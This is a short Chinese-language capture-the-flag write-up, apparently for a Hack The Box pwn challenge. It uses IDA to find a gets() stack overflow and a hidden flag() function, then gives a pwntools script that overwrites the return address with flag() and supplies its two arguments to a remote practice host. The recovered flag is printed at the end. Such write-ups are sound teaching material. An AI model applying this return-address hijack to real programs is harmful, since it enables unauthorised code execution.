Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

题目

image-20250609181136459

观察

用IDA打开文件:

image-20250609181159320

查看vuln()发现gets()漏洞:

image-20250609181229877

除此之外并没有别的发现了,所以查看Exports

image-20250609181315467

发现一个很可疑的flag函数:

image-20250609181336765

发现只要调用这个函数的时候传递了合适的参数便可以直接获得flag。

最后再来查看一下vuln()的Stack的结构:

image-20250609182133744

(上面是180位的s)

以及flag的Stack的结构:

image-20250609183319077

注意到

1
+0000000000000000     _DWORD __saved_registers;

的地址是0,所以说我们只需要管(填充覆盖)后面的部分,即:

1
2
3
+0000000000000004     _UNKNOWN *__return_address;
+0000000000000008 _DWORD arg_0;
+000000000000000C _DWORD arg_4;

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

r = remote("94.237.54.192", 43134)

a1 = -559038737
a2 = -1059139571

a1_hex = p32(a1, signed=True)
a2_hex = p32(a2, signed=True)
response = r.recvline()
# print(response)

payload = b"A" * (180+4+4) # 覆盖 buffer + 旧 EBP
payload += p32(0x080491E2) # 覆盖返回地址为 flag() 地址
payload += b"B" * 4 # 覆盖return_address的Padding
payload += a1_hex # 第一个参数 (a1)
payload += a2_hex # 第二个参数 (a2)

r.sendline(payload)

r.recvline()


print(r.recvline())
# b'HTB{0ur_Buff3r_1s_not_healthy}'